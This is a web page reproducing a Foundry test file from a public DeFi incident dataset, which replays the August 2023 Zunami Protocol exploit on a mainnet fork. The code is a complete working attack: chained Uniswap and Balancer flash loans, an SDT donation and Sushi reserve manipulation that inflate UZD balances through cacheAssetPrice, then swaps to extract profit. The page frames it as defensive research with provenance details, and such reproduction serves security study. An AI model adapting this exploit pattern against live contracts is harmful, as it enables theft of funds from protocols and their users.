Public reproduction file
src/test/2023-08/Zunami_exp.sol
Public reproduction file for dataset entry ZunamiProtocol.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// @KeyInfo - Total Lost : ~2M USD$8// Attacker : https://etherscan.io/address/0x5f4c21c9bb73c8b4a296cc256c0cde324db146df9// Attack Contract : https://etherscan.io/address/0xa21a2b59d80dc42d332f778cbb9ea127100e5d7510// Vulnerable Contract : https://etherscan.io/address/0xb40b6608b2743e691c9b54ddbdee7bf03cd79f1c11// Attack Tx : https://etherscan.io/tx/0x0788ba222970c7c68a738b0e08fb197e669e61f9b226ceec4cab9b85abe8cceb13// @Info14// Vulnerable Contract Code : https://etherscan.io/address/0xb40b6608b2743e691c9b54ddbdee7bf03cd79f1c#code16// @Analysis17// Twitter Guy : https://twitter.com/peckshield/status/169087758900577894518// Twitter Guy : https://twitter.com/BlockSecTeam/status/169093111177635840020interface IUZD is IERC20 {21 function cacheAssetPrice() external;22}24interface ICurve {25 function exchange(26 uint256 i,27 uint256 j,28 uint256 dx,29 uint256 min_dy,30 bool use_eth,31 address receiver32 ) external returns (uint256);33}35contract ContractTest is Test {36 IUZD UZD = IUZD(0xb40b6608B2743E691C9B54DdBDEe7bf03cd79f1c);37 IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);38 IERC20 USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);39 IERC20 crvUSD = IERC20(0xf939E0A03FB07F59A73314E73794Be0E57ac1b4E);40 IERC20 crvFRAX = IERC20(0x3175Df0976dFA876431C2E9eE6Bc45b65d3473CC);41 IERC20 USDT = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);42 IERC20 SDT = IERC20(0x73968b9a57c6E53d41345FD57a6E6ae27d6CDB2F);43 IERC20 FRAX = IERC20(0x853d955aCEf822Db058eb8505911ED77F175b99e);44 ICurvePool FRAX_USDC_POOL = ICurvePool(0xDcEF968d416a41Cdac0ED8702fAC8128A64241A2);45 ICurvePool UZD_crvFRAX_POOL = ICurvePool(0x68934F60758243eafAf4D2cFeD27BF8010bede3a);46 ICurvePool crvUSD_USDC_POOL = ICurvePool(0x4DEcE678ceceb27446b35C672dC7d61F30bAD69E);47 ICurvePool crvUSD_UZD_POOL = ICurvePool(0xfC636D819d1a98433402eC9dEC633d864014F28C);48 ICurvePool Curve3POOL = ICurvePool(0xbEbc44782C7dB0a1A60Cb6fe97d0b483032FF1C7);49 ICurve ETH_SDT_POOL = ICurve(0xfB8814D005C5f32874391e888da6eB2fE7a27902);50 Uni_Router_V2 sushiRouter = Uni_Router_V2(0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F);51 Uni_Pair_V3 USDC_WETH_Pair = Uni_Pair_V3(0x88e6A0c2dDD26FEEb64F039a2c41296FcB3f5640);52 Uni_Pair_V3 USDC_USDT_Pair = Uni_Pair_V3(0x3416cF6C708Da44DB2624D63ea0AAef7113527C6);53 IBalancerVault Balancer = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);54 address MIMCurveStakeDao = 0x9848EDb097Bee96459dFf7609fb582b80A8F8EfD;56 function setUp() public {57 vm.createSelectFork("mainnet", 17_908_949);58 vm.label(address(WETH), "WETH");59 vm.label(address(USDC), "USDC");60 vm.label(address(UZD), "UZD");61 vm.label(address(crvUSD), "crvUSD");62 vm.label(address(crvFRAX), "crvFRAX");63 vm.label(address(USDT), "USDT");64 vm.label(address(FRAX), "FRAX");65 vm.label(address(FRAX_USDC_POOL), "FRAX_USDC_POOL");66 vm.label(address(UZD_crvFRAX_POOL), "UZD_crvFRAX_POOL");67 vm.label(address(crvUSD_USDC_POOL), "crvUSD_USDC_POOL");68 vm.label(address(crvUSD_UZD_POOL), "crvUSD_UZD_POOL");69 vm.label(address(Curve3POOL), "Curve3POOL");70 vm.label(address(ETH_SDT_POOL), "ETH_SDT_POOL");71 vm.label(address(sushiRouter), "sushiRouter");72 vm.label(address(USDC_WETH_Pair), "USDC_WETH_Pair");73 vm.label(address(USDC_USDT_Pair), "USDC_USDT_Pair");74 vm.label(address(Balancer), "Balancer");75 vm.label(address(MIMCurveStakeDao), "MIMCurveStakeDao");76 }78 function testExploit() external {79 USDC_USDT_Pair.flash(address(this), 0, 7_000_000 * 1e6, abi.encode(7_000_000 * 1e6));81 emit log_named_decimal_uint(82 "Attacker WETH balance after exploit", WETH.balanceOf(address(this)), WETH.decimals()83 );85 emit log_named_decimal_uint(86 "Attacker USDT balance after exploit", USDT.balanceOf(address(this)), USDT.decimals()87 );88 }90 function uniswapV3FlashCallback(uint256 amount0, uint256 amount1, bytes calldata data) external {91 BalancerFlashLoan();93 uint256 amount = abi.decode(data, (uint256));94 TransferHelper.safeTransfer(address(USDT), address(USDC_USDT_Pair), amount1 + amount);95 }97 function BalancerFlashLoan() internal {98 address[] memory tokens = new address[](2);99 tokens[0] = address(USDC);100 tokens[1] = address(WETH);101 uint256[] memory amounts = new uint256[](2);102 amounts[0] = 7_000_000 * 1e6;103 amounts[1] = 10_011 ether;104 bytes memory userData = "";105 Balancer.flashLoan(address(this), tokens, amounts, userData);106 }108 // balancer flashloan callback109 function receiveFlashLoan(110 address[] memory tokens,111 uint256[] memory amounts,112 uint256[] memory feeAmounts,113 bytes memory userData114 ) external {115 apporveAll();117 uint256[2] memory amount;118 amount[0] = 0;119 amount[1] = 5_750_000 * 1e6;120 uint256 crvFRAXBalance = FRAX_USDC_POOL.add_liquidity(amount, 0); // mint crvFRAX122 UZD_crvFRAX_POOL.exchange(1, 0, crvFRAXBalance, 0, address(this)); // swap crvFRAX to UZD124 crvUSD_USDC_POOL.exchange(0, 1, 1_250_000 * 1e6, 0, address(this)); // swap USDC to crvUSD126 crvUSD_UZD_POOL.exchange(1, 0, crvUSD.balanceOf(address(this)), 0, address(this)); // swap crvUSD to UZD128 ETH_SDT_POOL.exchange(0, 1, 11 ether, 0, false, address(this)); // swap WETH to SDT130 // @Vulnerability Code:131 // UZD balanceOf return value is manipulated by the following values132 // uint256 amountIn = sdtEarned + _config.sdt.balanceOf(address(this)); -> get SDT amount in MIMCurveStakeDao133 // uint256 sdtEarningsInFeeToken = priceTokenByExchange(amountIn, _config.sdtToFeeTokenPath); -> sushi router.getAmountsOut(amountIn, exchangePath); path: SDT -> WETH -> USDT134 emit log_named_decimal_uint(135 "Before donation and reserve manipulation, UZD balance", UZD.balanceOf(address(this)), WETH.decimals()136 );137 SDT.transfer(MIMCurveStakeDao, SDT.balanceOf(address(this))); // donate SDT to MIMCurveStakeDao, inflate UZD balance139 swapToken1Totoken2(WETH, SDT, 10_000 ether); // swap WETH to SDT by sushi router140 uint256 value = swapToken1Totoken2(USDT, WETH, 7_000_000 * 1e6); // swap USDT to WETH by sushi router142 UZD.cacheAssetPrice(); // rebase UZD balance144 emit log_named_decimal_uint(145 "After donation and reserve manipulation, UZD balance", UZD.balanceOf(address(this)), WETH.decimals()146 );148 swapToken1Totoken2(SDT, WETH, SDT.balanceOf(address(this))); // swap SDT to WETH149 swapToken1Totoken2(WETH, USDT, value); // swap WETH to USDT151 UZD_crvFRAX_POOL.exchange(0, 1, UZD.balanceOf(address(this)) * 84 / 100, 0, address(this)); // swap UZD to crvFRAX153 crvUSD_UZD_POOL.exchange(0, 1, UZD.balanceOf(address(this)), 0, address(this)); // swap UZD to crvUSD155 FRAX_USDC_POOL.remove_liquidity(crvFRAX.balanceOf(address(this)), [uint256(0), uint256(0)]); // burn crvFRAX157 FRAX_USDC_POOL.exchange(0, 1, FRAX.balanceOf(address(this)), 0); // swap FRAX to USDC159 crvUSD_USDC_POOL.exchange(1, 0, crvUSD.balanceOf(address(this)), 0, address(this)); // swap crvUSD to USDC161 Curve3POOL.exchange(1, 2, 25_920 * 1e6, 0); // swap USDC to USDT163 uint256 swapAmount = USDC.balanceOf(address(this)) - amounts[0];164 USDC_WETH_Pair.swap(address(this), true, int256(swapAmount), 920_316_691_481_336_325_637_286_800_581_326, ""); // swap USDC to WETH166 IERC20(tokens[0]).transfer(msg.sender, amounts[0] + feeAmounts[0]);167 IERC20(tokens[1]).transfer(msg.sender, amounts[1] + feeAmounts[1]);168 }170 function apporveAll() internal {171 USDC.approve(address(FRAX_USDC_POOL), type(uint256).max);172 crvFRAX.approve(address(UZD_crvFRAX_POOL), type(uint256).max);173 UZD.approve(address(UZD_crvFRAX_POOL), type(uint256).max);174 USDC.approve(address(crvUSD_USDC_POOL), type(uint256).max);175 crvUSD.approve(address(crvUSD_USDC_POOL), type(uint256).max);176 crvUSD.approve(address(crvUSD_UZD_POOL), type(uint256).max);177 UZD.approve(address(crvUSD_UZD_POOL), type(uint256).max);178 WETH.approve(address(ETH_SDT_POOL), type(uint256).max);179 USDC.approve(address(Curve3POOL), type(uint256).max);180 USDC.approve(address(USDC_WETH_Pair), type(uint256).max);181 WETH.approve(address(sushiRouter), type(uint256).max);182 SDT.approve(address(sushiRouter), type(uint256).max);183 TransferHelper.safeApprove(address(USDT), address(sushiRouter), type(uint256).max);184 FRAX.approve(address(FRAX_USDC_POOL), type(uint256).max);185 }187 function swapToken1Totoken2(IERC20 token1, IERC20 token2, uint256 amountIn) internal returns (uint256) {188 address[] memory path = new address[](2);189 path[0] = address(token1);190 path[1] = address(token2);191 uint256[] memory values =192 sushiRouter.swapExactTokensForTokens(amountIn, 0, path, address(this), block.timestamp);193 return values[1];194 }196 function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata data) external {197 USDC.transfer(msg.sender, uint256(amount0Delta));198 }199}Analysis
Dataset entry
Public Foundry test for “ZunamiProtocol” (2023-08-14). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
12 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2023-08/Balancer_exp.solSame month in the dataset · 220 lines
- src/test/2023-08/BTC20_exp.solSame month in the dataset · 128 lines
- src/test/2023-08/CurveBurner_exp.solSame month in the dataset · 151 lines
- src/test/2023-08/EAC_exp.solSame month in the dataset · 54 lines
- src/test/2023-08/EarningFram_exp.solSame month in the dataset · 95 lines
- src/test/2023-08/EHIVE_exp.solSame month in the dataset · 142 lines
- src/test/2023-08/Exactly_exp.solSame month in the dataset · 479 lines
- src/test/2023-08/GSS_exp.solSame month in the dataset · 62 lines
- src/test/2023-08/Leetswap_exp.solSame month in the dataset · 66 lines
- src/test/2023-08/NeutraFinance_exp.solSame month in the dataset · 413 lines
- src/test/2023-08/SVT_exp.solSame month in the dataset · 58 lines
- src/test/2023-08/Uwerx_exp.solSame month in the dataset · 72 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x5f4c21c9bb73c8b4a296cc256c0cde324db146df
- Attack Contract
0xa21a2b59d80dc42d332f778cbb9ea127100e5d75
- Vulnerable Contract
0xb40b6608b2743e691c9b54ddbdee7bf03cd79f1c
- Attack Tx
0x0788ba222970c7c68a738b0e08fb197e669e61f9b226ceec4cab9b85abe8cceb
- Twitter: https://twitter.com/peckshield/status/1690877589005778945
- Twitter: https://twitter.com/BlockSecTeam/status/1690931111776358400
- Explorer: https://etherscan.io/address/0x5f4c21c9bb73c8b4a296cc256c0cde324db146df
- Explorer: https://etherscan.io/address/0xa21a2b59d80dc42d332f778cbb9ea127100e5d75
- Explorer: https://etherscan.io/address/0xb40b6608b2743e691c9b54ddbdee7bf03cd79f1c
- Explorer: https://etherscan.io/address/0xb40b6608b2743e691c9b54ddbdee7bf03cd79f1c#code
File record
- Name
- ZunamiProtocol
- Path
- src/test/2023-08/Zunami_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 19a142a1bb04b2532c977cedfeb17b1e7d9612cb
- Language
- Solidity
- Size
- 200 lines
- Date
- 2023-08-14
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2023-08/Zunami_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 19a142a1bb04b2532c977cedfeb17b1e7d9612cb, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.